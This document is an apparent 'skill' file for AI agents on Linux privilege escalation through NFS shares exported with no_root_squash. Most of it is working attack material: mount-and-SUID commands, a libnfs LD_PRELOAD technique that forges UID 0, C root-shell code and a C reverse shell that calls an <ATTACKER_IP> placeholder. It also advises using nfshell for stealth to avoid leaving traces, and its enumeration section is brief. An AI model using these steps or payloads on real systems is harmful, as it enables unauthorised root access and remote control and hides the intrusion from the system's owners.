NFS Privilege Escalation via no_root_squash

This skill helps you escalate privileges on Linux systems with misconfigured NFS shares using the

no_root_squash

When to Use This Skill

Use this skill when:

• You find

  /etc/exports

  with

  no_root_squash

  configuration
• You have access to an NFS share and want to gain root privileges
• You're performing Linux privilege escalation and NFS is available
• You need to understand NFS squashing behavior (

  all_squash

  ,

  root_squash

  ,

  no_root_squash

  )

Understanding NFS Squashing

NFS trusts the

uid

gid

all_squash

nobody

root_squash

nobody

no_root_squash

If a directory is configured with

no_root_squash

Remote Exploitation (Attacker Has NFS Access)

Method 1: Bash Binary with SUID

# On attacker machine (as root)
mkdir /tmp/pe
mount -t nfs <TARGET_IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash

# On victim machine
cd <SHARED_FOLDER>
./bash -p  # Root shell

Method 2: Custom C Payload

# On attacker machine
gcc payload.c -o payload
mkdir /tmp/pe
mount -t nfs <TARGET_IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp payload .
chmod +s payload

# On victim machine
cd <SHARED_FOLDER>
./payload  # Root shell

Note: If

no_root_squash

Local Exploitation (Using libnfs)

Use this when:

• /etc/exports

  restricts access to specific IPs
• You cannot mount remotely
• The export uses the

  insecure

  flag

Step 1: Compile libnfs

git clone https://github.com/sahlberg/libnfs
cd libnfs
./bootstrap
./configure
make

# Compile the LD preloader
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/

Note: You may need to comment out

fallocate

Step 2: Create and Deploy Exploit

# Create simple root shell payload
cat > pwn.c << 'EOF'
#include <unistd.h>
#include <stdlib.h>

int main(void){
    setreuid(0,0);
    system("/bin/bash");
    return 0;
}
EOF

gcc pwn.c -o a.out

# Deploy to NFS share with forged UID
export LD_NFS_UID=0
export LD_LIBRARY_PATH=./lib/.libs/
export LD_PRELOAD=./ld_nfs.so

cp a.out nfs://<NFS_SERVER>/<SHARE_PATH>/
chown root: nfs://<NFS_SERVER>/<SHARE_PATH>/a.out
chmod o+rx nfs://<NFS_SERVER>/<SHARE_PATH>/a.out
chmod u+s nfs://<NFS_SERVER>/<SHARE_PATH>/a.out

# Execute on victim
/<MOUNT_POINT>/a.out
# root

Post-Exploitation: Stealthy File Access

After gaining root, use the

nfshell

# Run: nfshell <command> <path>
./nfshell ls -la ./mount/
./nfshell cat ./mount/sensitive_file.txt

See

scripts/nfshell.py

Detection and Enumeration

Check for Vulnerable NFS Exports

# On victim machine
cat /etc/exports
grep -E "no_root_squash|insecure" /etc/exports

# Check mounted NFS shares
mount | grep nfs
showmount -e <NFS_SERVER_IP>

Identify NFS Share Permissions

# Check file ownership on NFS share
ls -la /mnt/nfs_share/
stat /mnt/nfs_share/<file>

Common Payloads

Simple Root Shell (C)

#include <unistd.h>
#include <stdlib.h>

int main(void){
    setreuid(0,0);
    system("/bin/bash");
    return 0;
}

Reverse Shell (C)

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    setreuid(0,0);
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr = {0};
    addr.sin_family = AF_INET;
    addr.sin_port = htons(4444);
    inet_pton(AF_INET, "<ATTACKER_IP>", &addr.sin_addr);
    connect(sock, (struct sockaddr*)&addr, sizeof(addr));
    dup2(sock, 0); dup2(sock, 1); dup2(sock, 2);
    system("/bin/bash");
    return 0;
}

Important Notes

1. no_root_squash

   is required for remote root exploitation

2. insecure

   flag is required for local libnfs exploitation
3. Kernel compatibility - libnfs may need modifications for different kernel versions
4. Stealth - Use

   nfshell

   to avoid leaving traces after exploitation
5. Tunneling - If you can create a tunnel to the victim, you can use remote exploitation methods

References

• NFS Service Pentesting
• libnfs GitHub
• NFS Privilege Escalation Tutorial